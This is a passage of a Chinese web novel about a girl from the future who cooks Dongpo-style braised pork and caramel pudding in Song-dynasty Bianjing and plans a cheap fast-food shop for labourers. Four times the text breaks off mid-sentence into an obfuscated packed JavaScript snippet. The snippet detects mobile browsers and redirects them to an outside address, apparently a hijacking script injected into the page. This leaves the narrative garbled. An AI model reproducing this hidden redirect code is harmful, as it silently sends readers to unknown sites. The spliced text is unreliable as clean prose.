“小娘子，不如我来做，你歇一歇。”周婆子不甘落后，王大崔都抢着干活去了，她怎能袖手旁观。 王文茵便让她将绑好的五花肉下锅煎上色，“注意，肉皮那面不要煎。” “嗳，晓得了。”周婆子手脚麻利地翻煎肉块的五个面。 “煎过的肉炖出来口感更软糯。”王文茵将事先切好的葱段、姜片放到灶台边，再将八角和香叶泡浸在花雕酒里萃取风味，“煎完肉的油再用来爆香葱姜和泡过酒的香料，这样炖肉便可祛除腥臭。”【注2】 准备好所有的材料，王文茵让周婆子在砂锅底部垫一张竹箅子防黏锅，再铺上一层厚厚的葱段和姜片，将五花肉肉皮朝下一块块整齐地码在砂锅底部。随后加入爆香的葱姜、香料和糖色，再加一点糖霜，注入半坛子花雕酒去腥增香，和少量清水没过肉块，开大火煮沸后转小火焖炖。【注2】 “再放两片山楂进去。”王文茵解释道：“这样既能让瘦肉不柴，还能让肥肉吃起来不腻。”【注2】 周婆子将山楂片放入砂锅，盖上锅盖，问：“这肉得炖煮多长时辰？” “先炖一个时辰（两个小时），待肉酥烂后便可收汁调味了。”王文茵从悬挂在屋梁上的吊篮里取出七个鸡蛋来，“趁这功夫刚好做个焦糖布丁。” 王文茵将鸡蛋打散后和牛乳混合，加入适量的糖霜搅拌均匀，分装在几个耐高温的陶瓷炖盅内，随后放入烤鸭炉内烘烤，吩咐守在烤炉前的王大崔：“布丁只需烤两刻钟便可以取出，烤好的布丁须放置在屋外寒天中冷却半个时辰（一个小时）方能凝固。” “嗳，小娘子放心，我看着呢。”王大崔搓着手喜滋滋蹲在烤炉边，两只眼睛盯着炉子里的布丁一瞬不瞬。 炖肉的过程是很治愈的，灶房里香气四溢，混合了酒香、肉香和大料香，香得人心头暖暖的，幸福感油然而生。王文茵坐在炉灶后头，胳膊支着头，回想起过去这一年经历过的生离死别，和那一场幻境之旅，虽然不清楚是什么原因助自己穿越去了后世，但越来越清楚接下来自己应该做什么。 她不求荣华富贵，更不需要万贯家财，人这一生拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125221|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再多的东西死了也带不走，实实在在的感受每一日的辛苦与快乐才是活着的意义，尤其是看到身边的这些人重又燃起了对生活的热情与期盼，让王文茵感到被需要是多么幸福的一件事情。 “哇，小娘子做什么呢这么香！” 吃货赵元宁虽迟必到。 王文茵已经开始怀疑赵元宁的鼻子不是狗鼻子，而是美食雷达，怎地每次她们做好吃的他总能第一时间赶到战场？ “赵四郎真是有口福，你怎么知道我们小娘子今日做花雕肉了？”王文茵还没正式对外宣布这道菜的名字，周婆子已经抢先给它取了个通俗易懂的名字。 花雕肉？这名字取得倒也贴切，东坡肉烹饪的秘笈便是多酒、少水、慢火，后世流传一首苏轼的打油诗《猪肉颂》，当中便提到要“慢着火，少着水，火候足时它自美”。【注3】 赵四郎嘿嘿笑：“花雕肉，莫非是用花雕酒煨的肉？” 王文茵给他比了个赞，“不愧是吃货，一听就知道是用花雕酒焖炖的豚肉。” 赵四郎垂涎欲滴，“闻着就已经这般香了，那不得好吃成啥样？” “好不好吃得等吃了才知道。”王文茵不禁好奇问道：“你如何得知我今日要做豚肉？” 赵元宁摸摸鼻子，傻乎乎道：“我不知道呀，我来是想告诉你，我已经跟种甘蔗的农户下了定金，汴京城周边的几片甘蔗林都被我包圆了，就等你一声令下便可收割。” “那就等过完年吧，反正现在割了也没地儿存储。”王文茵心满意足笑道：“看来今日这豚肉必须奖赏给你吃了。” 王文茵让周婆子打开砂锅盖子，小心翼翼地将肉块翻个个，变成肉皮朝上，随后撇去汤汁上层的油，这么做的目的是为了让肉汤中的胶质充分浓缩，便于挂汁。接着她又从外面的缸里取来一小勺尚未成型的酱油，加入汤汁中，给肉丰富口感层次的同时，也调节浓缩后肉汁的色泽。 “阿婆，可以开大火收汁了。”王文茵嘱咐周婆子给炉子加炭。 很快砂锅内的汤汁开始沸腾冒大泡，咕嘟咕嘟，香味比之前更加撩人，勾得后院不少人都围拢过来打听究竟是什么好吃的竟能香飘十里。 狗腿子王大崔不客气地将其他人挡在灶房门口，“去去去，别在这儿碍事，小娘子给文老夫人做吃的，你们凑什么热闹！” 其他人一听是王小娘子给文老夫人做美食，虽然好奇，却也非常识相地散了开去。 王文茵听见响动便出来告诉大家：“今日这锅肉是为了感谢文老夫人对咱们大家的恩施，明日除夕夜我会给大家做一锅同样的豚肉吃。” 众人激动不已，自从跟了王小娘子后他们便再也没饿过肚子，对吃食的需求也已经从填饱肚子升华到了享受美味的新层次了，只是这么香的豚肉别说没吃过，连闻都是生平第一次闻到，是以无不对明晚的除夕夜宴充满了期待。 赵元宁流着口水道：“小娘子，不如明日我也留在静缘庵，同你们一道儿守岁过新年吧？” 71. 第七十一章 王文茵瞪了赵元宁一眼，“就为口吃的你连家都不回了？” “那倒不至于。”赵元宁嘻嘻笑，没个正经道：“过年嘛就那么回事，一家人聚在一起吃顿年夜饭，再放个烟花爆竹，守个岁，年年都这么过，蛮无聊的。但你们这儿不一样，这么多人一起过年，那该多热闹啊。” 王文茵哭笑不得，“有家人陪你过年还不好？你呀是身在福中不知福，你可知住在这里的人都是家破人亡流落至此的可怜人？” 赵元宁脸一红，歉疚的低下了头，“是我思虑不周，说错话了，小娘子莫怪。” 砂锅内的汤水浓缩成蜜一样浓稠的酱汁，挂壁在肉块上，鲜艳艳，红润润，实在诱人。 王文茵用饭勺小心翼翼取出一块状似蘑菇，皮大肉小，轻轻一碰便会微微颤动的东坡肉来放进碟子里，交给赵元宁，“趁热吃吧，哦对了，就着米饭吃更美味。”说完又让周婆子给赵元宁盛一碗粳米饭来。 赵元宁捧着这块色香诱人的东坡肉吃也不是，不吃也不是，很是纠结。 周婆子见状出来打圆场，“郎君莫介意，我们小娘子素来心直口快，有啥说啥。咳，其实小娘子说的没错，过年嘛一家人团团圆圆的多幸福，不像老婆子我，自小就没了家人，逢年过节都是孤身一个人……” 许是感怀身世，周婆子说着说着就哽咽了。 赵元宁听了心里更不是滋味，联想到王文茵也是没了家人才流落至此，心里一急，脱口道：“不如小娘子同我一起回家过年吧？” 王文茵感到莫名其妙，“我为何要同你回家过年？” 赵元宁鼓足勇气道：“家父一直都很想见小娘子你，想邀你到家中吃顿便饭，这不正好过年得空嘛。” 王文茵失笑，“过年是你们一家人团聚的大日子，我就不去凑热闹了，待过完年有时间我再去京城拜访赵太医吧。”说完转身喊来王大崔，让他将砂锅和几盅布丁放入竹篮内，用棉布包好，再回身对赵元宁道：“我去给文老夫人送吃食，你且慢慢享用。” 赵元宁傻眼，怎么自己暗示明示，王小娘子就是不懂哩？ 周婆子将一双干净的筷子放到赵元宁手中，委婉道：“这花雕肉确是美味，但世上美食又岂止是花雕肉这一样，郎君不如将眼光放长远些。” 赵元宁不置可否，低头盯着花雕肉瞅了半晌，点头道：“阿婆说得对，小娘子会做的美食又岂止花雕肉这一样，只要耐心守在小娘子身旁就不愁没有好吃的。” 周婆子叹气，这个赵四郎看着挺机灵一人，怎么就是不开窍呢？ **** 听说王文茵来给老夫人送吃食，文安世亲自出来大门口迎她，见她捂着耳朵跺着脚站在门房外头吃风，忍不住皱起了眉责备门房：“怎么不让王小娘子进屋里头等候？” 七衙内素来待下人宽厚，从未见他呵斥过谁，今日突然被训，门房着实吓了一跳，低头弯腰求饶：“是小的办事不周，衙内恕罪！” “不关他的事，是我自己不想进屋里等的。”王文茵连忙打圆场。 文安世见她耳朵鼻头脸颊被寒风冻得通红，嘴唇因为冷微微哆嗦，不满道：“寒天冻地，你怎地不戴个帽子？” “忘了，没几步路，我懒得戴。”王文茵说得轻描淡写，抬头瞅他一眼，反驳道：“你自己不也没戴嘛。” 文安世心说，我要是戴了就给你了，嘴上却不承认：“能一样吗，我这刚从屋内出来，你是从山上下来的。” 王文茵不知道他犯什么轴，只觉两人这嘴斗得太小学鸡，赶紧打住，“我这不是着急给老夫人送吃的来嘛，再不进去就凉了。” 这话倒是提醒了文安世，人家不顾寒冷来给祖母送吃食，可不能枉费了她的一片心意。赶紧在前头带路，一路用身体替她挡着寒风，引她进入文老夫人住的暖阁内。 文老夫人的餐桌前已经布置了晚膳，崔嬷嬷见王文茵带着一只大砂锅来，赶紧叫人在餐桌中央腾出一块空档，再摆上一只小暖炉，将砂锅搁上去后点燃无烟的银炭。 先头收汁的时候王文茵特地嘱咐周婆子别将汤汁全收干，为的就是怕一路过来肉凉了可以再加热，若是汤汁全干后再加热，那就焦糊了。 碳火很给力，砂锅咕嘟咕嘟就开了，王文茵揭开锅盖，令人垂涎欲滴的肉香便随着蒸汽腾起，盈满整间屋子，捕获了所有人的嗅觉和味蕾。 “这是什么肉，竟然香得能把人肚子里的蛔虫都勾出来？” 文老夫人见这一锅色泽红润，酥而不破的豚肉不由食指大动。 在还没有得到苏轼授权同意前，“东坡肉”这个名自然是不能用的，于是王文茵便想起后世之所以管这道菜叫“东坡肉”权因苏轼后来去杭州任知州后治水有方，当地老百姓为了感谢他送了很多猪肉和黄酒，而他又将猪肉和黄酒做成红烧肉馈赠给协助他治水的民工，所以后人便将这道菜唤作“东坡肉”，也叫“回赠肉”。【注1】 “回禀老夫人，此菜名为‘回赠肉’，是奴家代表受老夫人恩惠的流民回赠给老夫人的一点小心意。”王文茵朗声道。 “回赠肉？”文老夫人闻言哈哈大笑：“好，好，真是难为你这孩子有心了，老身便不同你客气了，崔嬷嬷，快给我盛一碗来尝尝。” 崔嬷嬷哎了一声，小心翼翼从砂锅内舀出一块裹满酱汁、醇香无比的回赠肉放到玉碗内，递到文老夫人面前。 文老夫人捧着碗放到鼻子旁嗅了嗅，陶醉道：“酒香芬芳、肉香浓郁。”再用筷子轻轻一夹，如玛瑙般的肉块轻松断开分为两瓣。取其一半放入嘴中，入口即化，肥而不腻，酱汁浓稠，甜咸适中，略带点儿酸，口感层次丰富不说，咀嚼间还能闻到阵阵扑鼻的酒香。 文老夫人有些不可置信地打量着王文茵，这孩子左不过十岁，她究竟是从何处学来这般出神入化的厨艺？再一想，七郎先前说过王小娘子从她祖父的笔记上学来的那什么水泥混凝土啦、米线啦这些杂七杂八的东西，联想到王相公曾在地方任知县时经常到民间走访，想必他的笔记中记载了不少各地的风土民情。再则以王小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129600|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子的聪慧，懂得学以致用也未尝不可。 “连豚肉都能做得如此美味，小娘子果真有一手能化腐朽为神奇的好厨艺啊！”文老夫人笑赞。 王文茵却摇头道：“老夫人误会了，这道‘回赠肉’并非是奴家自创的菜式，而是一位曾在地方为官的大人，为解决当地的水患问题，倾其所有带领全县治水修堤。当地百姓为感谢这位大人便将家中所有的黄酒和豚肉进献给他，于是这位大人又用这些黄酒和豚肉做成了这道菜馈赠给百姓，后来百姓便称其为‘回赠肉’。” 王文茵说的是苏轼，文老夫人却误解成了王安石，因为王安石在地方做知县的时候也干过同样的事，这是他后来变法提出农田水利法的主要原因。 “原来如此，想不到这‘回赠肉’背后竟有如此感人的故事。”文老夫人转头对文安世道：“七郎，你也尝尝，你平日素来不爱吃豚肉，不过小娘子做的这豚肉是真的好吃。” 文安世生怕王文茵嫌他挑食，赶忙夹起一大块肉硬着头皮往嘴里塞，结果没想到这肉完全突破了他对豚肉固有的刻板印象，非但没有任何腥臭，还相当惊艳，比他平常爱吃的羊肉更是有过之而无不及，忍不住一口接一口，将一整块肉都吃了下去。 文老夫人在旁看得下巴都快掉下来了，“乖乖，七郎，你真的是七郎吗？你不是最憎恶豚肉的吗？” 大概是意识到自己的吃相有些狼吞虎咽，文安世瞥了一眼王文茵，见她低头忍笑，不禁有些懊恼，他是有些偶像包袱的，尤其是在心悦的小娘子面前，今日竟然一个没忍住破功了，可这能怪他吗？ “祖母，我几时说过憎恶豚肉了，我只是没尝到过做的如此美味的豚肉而已。”文安世优雅地用帕子掖去嘴角的酱汁。 文老夫人开怀大笑，“看来王小娘子是把你的五谷之府（胃）给抓牢了。” 这句玩笑话不仅王文茵，连文安世都不好意思起来。 为免尴尬，王文茵赶紧转移话题，“今日除了这‘回赠肉’，奴家还给老夫人带了一份点心来品尝。” “哦？是什么点心？”文老夫人新奇极了。 王文茵笑了笑，“便是‘焦糖布丁’，是一种用鸡蛋、牛乳和糖霜做的甜品。”说完她从篼篮中取出两盅早已放凉凝固的布丁来，在布丁表面撒上一层糖霜，再将自制的小火棍点燃，燎烧糖霜表面，直至烤成一层酥脆的焦糖。 “老夫人且用银汤匙敲碎了上头这层焦糖再品尝。”王文茵将布丁摆放在文老夫人同文安世面前。 文老夫人依照王文茵说的拿起银汤匙轻轻一敲，焦糖发出嘎嘣脆裂声，很是有趣。她像个孩子一样将表层的焦糖都敲了个碎，再舀起一勺布丁放进嘴里细细品味，像是打开了新世界的大门一样，兴奋道：“七郎说他要跟你合作投资一个什么生态农场的，要我说还不如咱们一起合作到汴京城里去开个点心铺子，就卖你做的这个焦糖布丁跟回赠肉，势必能赚得盆满钵满，哈哈哈。” “不瞒老夫人说，奴家也正有此打算。”王文茵笑着道。 72. 第七十二章 得知王文茵打算到汴京城里去开点心铺子，文安世不觉精神一振，他正担心过完年后要同她见面会变得不易，如果她愿意去京城，那就再好不过。 文老夫人也很感兴趣，“你真的打算去汴京城里开点心铺子？” “是，也不是。”王文茵理性分析道：“若是要在京城内开一家点心铺子，势必要择一处地段好，人流密集的商铺。世人都知，汴京城居不易，很多在京为官的大人每个月的俸禄都租不起稍微好一点的私宅，只能去租公租房或廉租房，而一处黄金地段的商铺，租金之高，更是令人咂舌。再者，汴京城内也不缺茶楼点心铺，此类铺子前期投入大，竞争又激烈，若没有人脉和靠山，想在寸土寸金的汴京城里存活下来，几乎不太可能。” 文老夫人对此表示赞同，“小娘子说的很有道理，但若是你想开点心铺子，老身我倒是可以帮一把。” 王文茵向文老夫人福了一福，“多谢老夫人的厚爱，并非是奴家不想领情，而是奴家另有一个想法。” 文老夫人知道王文茵不会轻易接受别人的帮助，见她拒绝倒也不觉意外。她确实有心想助王文茵一臂之力，一则是喜欢她的为人，二则也有一份私心，王文茵做的吃食不仅好吃，还都是她从未见识过的新鲜美味。 上了年岁的老人食欲减退后已经很少有美食能让她胃口大开，可这段日子王文茵给她做的吃食不管是米线，还是酥不腻烤鸭、回赠肉、焦糖布丁，都令她食欲大增。胃口好，身体自然也跟着好了不少，一想到回了汴京就再也吃不到王小娘子做的那些新奇的美食，文老夫人自然有些失落。 “小娘子有什么好想法，不妨说出来听听。” “奴家打算去汴京城开一家快餐店。” “何谓‘快餐店’？”提问的是文安世。 王文茵笑了笑，道：“‘快餐店’顾名思义便是提供快速简易餐饮的食肆。此类食肆不同于正店、脚店之类酒楼之处在于，首先不提供酒水，只供应食物；其次没有豪华的装潢，也不必处于闹市区繁华商业街，店铺可设在租金相对便宜的街角处或后巷之类地方；再次便是没有大酒楼优质的茶饭量酒博士一对一的伺候，食肆内的店小二仅提供最低限度的服务。” “如此听来这‘快餐店’同普通的街头小食店并无差别。”文安世很会抓重点。 王文茵道：“‘快餐店’同街头小食店的不同之处在于提供的餐食要更为丰富，前来就餐的食客可自由选择自己喜欢的菜肴和米饭汤饼，就餐时间也比小食店要长，可从晨时，至午间、再到晚餐、宵夜都能提供相应的吃食。” 要知道宋朝的酒楼饭馆中午是不营业的，《东京梦华录》中就提到过“至午未间，家家无酒，拽下望子”，也就是说上午十一点到下午三点酒楼饭馆全部打烊，不供应餐食。所以大部分宋朝人一天只吃两顿，只有少数富贵人家和中上层的官员们才跟现代人一样一日食三餐。【注1】 如果中午肚子饿了该怎么办呢？聪明的宋朝人便发明了“点心”。 宋朝的“点心”跟现代的零食不一样，“点心”指的是加餐。如果一天只吃两顿，那么中午加餐就吃“点心”。宋朝的“点心”包括但不限于剩菜剩饭，路边摊的小食外卖等。【注1】 “如此说来，这‘快餐店’的经营模式倒真是闻所未闻。寻常酒楼饭馆每日只在早晚间供应餐食，你这‘快餐店’一日便能供应四顿餐？”文老夫人疑惑道：“何人需要一日吃四顿饭呢？” 文安世也有同样的疑惑：“‘快餐店’面向的究竟是哪一类食客？” 王文茵坦言：“‘快餐店’主要面向的便是底层的劳动人民。那些每日寅时（凌晨3-5点）便出来图谋生计，午时饥肠辘辘却找不到可以充饥的便宜餐馆，傍晚回家才能吃到一日之中唯一一顿热食，到了深夜还在街头叫卖、做苦力的夜归人，他们便是‘快餐店’主要的客户。” 文老夫人同文安世惊讶地互相看了一眼。 “如此说来这‘快餐店’虽然餐食丰盛，日供四顿，但却是价廉物美？”文老夫人总结道。 “正是如此。” 文安世很是不解，“若真是如此，这家‘快餐店’要如何运营才能保证盈利呢？” 王文茵却答非所问：“七衙内觉得今日这‘回赠肉’可好吃？” “唔，甚好。”说到回赠□□安世不得不承认。 王文茵笑道：“七衙内先前不喜豚肉权因豚肉有一股腥臭味，是不是？” 文安世尴尬地唔了一声。 “豚肉之所以廉价一则是因为养猪不像饲养牛羊那么麻烦，牧羊需要大片草地，而我朝境内并无这样的草场，牛又是生产工具，不能随意宰杀，相对的养猪就简单多了，圈养便可以。 二则，民间百姓养猪不仅为了食肉，更是为了积肥，他们没有足够的粮食，大都是用潲水和野菜来喂养。兼之大部分的猪都没有去势，其肉吃起来便有一股子腥臭，上层阶级的权贵将其视为“贱肉”，而底层百姓又不懂该如何料理才能祛除豚肉的腥臭，导致豚肉没能成为我朝的主流肉食。”【注2】 言及此，王文茵颇有一肚子恨铁不成钢的遗憾。 文安世虽然心里认同王文茵的说法，但她刻意强调权贵阶层和底层百姓之间的区别，给他造成一种错觉，那就是她把自己归入了底层百姓，并将他划为权贵阶层，似乎在暗示她与他之间是有一道无法逾越的鸿沟，而这道鸿沟让他感到莫名的不爽。 “听这意思，权贵阶层是不配吃这豚肉做成的‘回赠肉’咯？”文安世的语气明显有些酸涩。 王文茵何其聪明，意识到自己说错话了，赶紧找补：“是奴家说错话了，还望老夫人、七衙内见谅。” 文老夫人心胸宽大，摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137235|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手道：“不必拘泥于措辞，其实小娘子也没说错，阶级分化是客观存在的事实，但看你内心是将人分成三六九等，抑或是众生平等。”说完笑眯眯看向她的宝贝孙儿。 文安世一点即通，马上道歉：“祖母教训的是，是我太过狷介，也望小娘子莫见怪。” 王文茵莞尔一笑，话里有话：“老夫人同七衙内虽出身显贵，却仁慈博爱，自然配享用‘回赠肉’。正如奴家先前所言，这是受过老夫人和七衙内恩惠的流民回报的一点小小心意。豚肉虽价廉，但食物并无贵贱之分。” “好，好，好一个食物无贵贱之分。”文老夫人不无欣赏地看着王文茵，颔首道：“再不起眼的食材在妙手神厨手里都能变幻出无与伦比的美味来，这豚肉便是最好的证明。” “老夫人谬赞。”王文茵笑道：“其实这‘回赠肉’还有一个简易版，名为‘红烧肉’。” “哦？这两者可有什么区别？” “区别便是‘红烧肉’有烟火气，而‘回赠肉’则更具风雅气质。” 王文茵形容得俏皮，这下不仅文老夫人，连文安世都忍俊不禁，两人相视一笑，先前的不愉快顿时烟消云散。 “小娘子打算在快餐店售卖红烧肉？”文安世问道。 “正有此意。”王文茵回道：“红烧肉的制作方法比回赠肉要俭省，二者虽口感略有不同，但却是一样的美味。考虑到快餐店面向的是在汴京城内务工讨生活的普通百姓，食材成本便不能太高，但营养和口感却是必须有保证的。所以奴家想用一些‘边角料’来制作美味，主打一个价廉物美、特惠亲民。” “‘边角料’指的是哪些食材？”文安世好奇。 王文茵抿嘴一笑，“譬如制作酥不腻烤鸭剩下的鸭头、鸭脖、鸭掌、鸭翅膀、还有鸭子的内脏，这些鸭货都是可以食用的，弃之就太浪费了。若是用香料和酱油卤制，不仅下饭，当做休闲零食也是绝妙的美味。” “听君一席话胜读十年书，小娘子真的是让老身增长了不少见识。”文老夫人点头道：“用低成本的食材制作美味，主打一个亲民实惠，这样的快餐店不赚钱都难。” 文安世也认同，“汴京城内不缺高消费的大酒楼，缺的反而是面向平民阶层的快餐店，事实上平民百姓才是汴京城中数量最多的主力消费群。” 文老夫人低声吩咐了崔嬷嬷一句什么，崔嬷嬷转身进去厢房，很快便从厢房内取出一只红漆木匣子来送到王文茵面前，笑眯眯道：“这是老夫人给小娘子的答谢礼，小娘子快打开来看看。” 王文茵道了一声谢，从崔嬷嬷手中接过红漆木匣子，到手只觉沉甸甸的，打开一看居然是一整匣子金灿灿的元宝，十两一只，足有十只之多。 她赶紧把匣子盖上，双手捧起举过头，婉言谢绝：“老夫人的好意奴家心领了，只是这礼太过贵重，奴家实在受不起。” 73. 第七十三章 文老夫人早就料到王文茵会拒绝，柔声道：“好孩子，你受得起，这些不是给你的赏银，是我入股快餐店的本金。” “快餐店是小本买卖，即便是本金，也用不了这么许多。”王文茵从匣子里拿起一锭金元宝，“有这一个就足够了。” 文老夫人却摆手，“我知你不是贪心之人，但诚如你所说，京城居不易，即便只是一家快餐店也需要租铺子，装潢，买家具，雇人工，采购物资等等开销。开店若是本金拮据，做事便容易束手束脚，我相信你的能力，也盼着你能将这家快餐店做大做好。” “老夫人……”王文茵说不出拒绝的话来，眼神不由自主看向文安世。虽然没有亲口承认，但从他多次有意无意的暗示中王文茵知道他一定已经知晓了自己的身世，只是不清楚他是否向文老夫人禀告过这件事。 像是看懂了王文茵的暗示，文安世微微颔首，用眼神告诉她，文老夫人早已知晓她的身份来历。 即便早有心理准备，王文茵还是感到困惑，祖父与文相公因政治上的分歧早已断了往来。虽则他们之间的恩怨随着祖父的仙逝也已烟消云散，可新帝即位后，太皇太后高氏以“以母改子”为号召，启用旧党，贬斥变法，罢黜新法，并由此引发了新旧两党之间的斗争。以致朝中官员除了苏轼外对他们王家的人唯恐避之不及，就连她自己的亲姑母也跟她们姐弟划清了界限。【注1】 而文老夫人既已知晓她的身世，非但不避讳，反而暗中资助她，难道她不担心这样做会落人口实，给文相公带去麻烦吗？ 文老夫人见王文茵犹疑，似乎知道她在担心什么，便道：“小娘子无须过虑，老身支持你办这家快餐店不仅是因为这家店能盈利，更重要的是它能为在京城里讨生活的人提供一份可以养家糊口的工作，也能让更多百姓吃到价廉物美的快餐。” 文老夫人如此深明大义，王文茵也不再坚持，向老夫人深深一福，“承蒙老夫人信任，奴家一定不负所托。只是这么多金子放在奴家身边实在不安全，可否先请老夫人代为保管，待有需时奴家再去向老夫人申请。” 文老夫人颔首，“是老身思虑不周，你一个孤身小娘子，若是被人知晓身上携有大量金锭，势必会成为众矢之的，甚至危及生命。”她看向文安世，“不如这样，这些金锭便由七郎代老身保管，小娘子若是有需可从七郎这儿取用，如何？” 王文茵同文安世不约而同应了声“好”。 **** 一路将王文茵送到山庄大门外，文安世的嘴角止不住上翘，一想到年后她便会来汴京，心情别提多好了。只是汴京城很大，他又不得不操起另一份心来。 “小娘子可有打算在汴京城何处开这家快餐店？” “尚不清楚，得等过完年抽空前去汴京考察一番才知晓。” “你若来汴京我可以做向导。” 王文茵诧异看他，“我以为你要去国子监上学？” “我可以请假。” “那倒不必，我自会找人带路。再则，耽误你念书，老夫人若是知道，我岂不是愧对她老人家的信任？” 文安世了解她的性子，便也不再坚持，点头道：“即是如此，那我们便就此别过，等来年在京城再见？” 王文茵微微一笑，道了声好，转身告辞离去。 一直到她的背影再也看不见，文安世还保持着微微上翘的嘴角，目视她离去的方向。 陈武忍不住啃啃两声，提醒他：“王小娘子都已经走远了，七郎不如也回屋吧？” 文安世听得出陈武的话外音，不过他今日心情好，懒得跟他计较，笑眯眯捏了捏陈武的肩，答非所问：“看来过完年得将荒废已久的武艺重新拾起来了。” 陈武何曾见过他家七郎如此这般诡异的笑容，吓得冷汗直冒，“七郎恕罪，小的再也不敢乱说话了。” 文安世不明所以地笑了笑，转身大踏步进去了。 留下一头雾水的陈武挠着头自言自语：“七郎这是中了什么邪？” **** 除夕这日，王文茵起了个大早，带着周婆子、王大崔、王小郎君、穆叔，还有一早从朱仙镇赶回来的阿萍他们开始着手准备年夜饭。 今日这年夜饭王文茵打算做一桌全猪宴犒劳大伙儿。 猪可谓浑身都是宝，从头到脚，从里到外都能拿来做料理，单是一个猪头就能做十几道菜。 “小娘子，这猪下水能做啥料理啊，不如拿去喂狗吧？”周婆子将猪的内脏一一取出，排列在案板上。她在前东家灶房里没见过猪下水，自然不清楚该怎么料理，甚至有些嫌弃这些上不得台面的“下水”。 “猪下水可是好东西，料理好了保证让你吃得停不下来。”王文茵指着案板上的猪内脏细数每个部位的优点与吃法：“猪心富含维生素和蛋白质，可卤制可煲汤，凉拌手撕猪心也十分爽口；猪肝最适合补血，爆炒酱制都能去腥，菠菜猪肝汤乃补血佳品；猪腰子有补肾益气作用，炖汤或爆炒都很弹牙美味。【注1】 猪肚就更好了，营养丰富不说，吃起来口感又十分脆爽，即可凉拌爆炒，亦可用来煲汤，猪肚鸡煲滋味鲜美，还能养胃；猪肺炖萝卜，冬日最佳鲜汤；猪大肠有嚼劲，卤制干煸爆炒各具风味，九转肥肠了解一下，吃过的都说好；猪小肠祛除杂质，留下一层坚韧半透明的肠衣，可用来做香肠或腊肠；还有这猪血，吃火锅子、做炒菜都少不了它，拿来做猪血肠，口感绵韧，鲜嫩爽滑，余味无穷。”【注1】 周婆子都听傻眼了，咽了咽口水道：“乖乖，单这猪下水就能做出一桌子盛宴来啊，这只猪也算是物尽其用了。” 王文茵摆手，“也不是所有部位都能吃，猪身上有三个部位是不能吃的。” “哪三个部位？” 王文茵指着猪脖子上的肉给周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140598|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆子看，“这是猪身上的粒子肉，里头有甲状腺，一旦吃多了便会中毒。”接着又翻出猪上腹淡黄色偏白的小疙瘩，道：“这是花子肉，也叫淋巴结，人吃了会得传染病。”最后指着肚子上的小腰子道：“这是猪的肾上腺，也叫小腰子，人吃了会头晕、腹泻，严重的还可能死亡。”【注1】 周婆子拍拍胸口，“好险小娘子知道什么能吃，什么不能吃，换做旁人瞎吃一气，死了都不知自己是怎么死的。” “若只是少量误食，倒也问题不大，就怕有黑心商人昧着良心将这些不能食用的歹肉鱼目混珠当作好肉出售。”王文茵一脸严肃：“食品安全不容小觑！” “什么东西不能小觑呀？”苏轼笑声朗朗从外头进来，看到灶房内居然有一头猪，吃惊之余喜上眉梢，“居然有这么完整的一头猪！阿茵打算用它做什么美味？” 王文茵上前同苏轼行礼，笑道：“苏大人这么早来，年夜饭还没准备好呢。” “无事，无事。”苏轼摆手道：“我是来偷师的，想看看阿茵如何料理今晚的年夜饭盛宴。” “苏大人，我们小娘子说今晚的年夜饭要做‘全猪宴’呢。”周婆子炫耀道。 爱吃猪肉的苏轼抚掌大笑，“啊哈，我最爱食豚肉了，这‘全猪宴’可太对我胃口了，阿茵是打算将这一整只猪做成一道菜吗？” “非也，莫说这一整只猪，单是这只猪头便可料理出十几道菜肴呢。”王文茵抿嘴笑道。 苏轼像是发现了新大陆一般，绕着猪头转了两圈，摇头道：“阿茵你可莫要说大话，一只猪头能做十几道菜，我不信！” 这下可把王文茵的斗志给燃起来了，她捋起袖子，扎上围裙，激气道：“大人可愿意跟我打个赌？” “赌什么？”苏轼笑眯眯捋须。 “若是我用这只猪头做出十道菜，大人可否答应我一个要求？” “你若真能用一只猪头做十道菜，我什么要求都能答应！” “一言既出！” “驷马难追！” 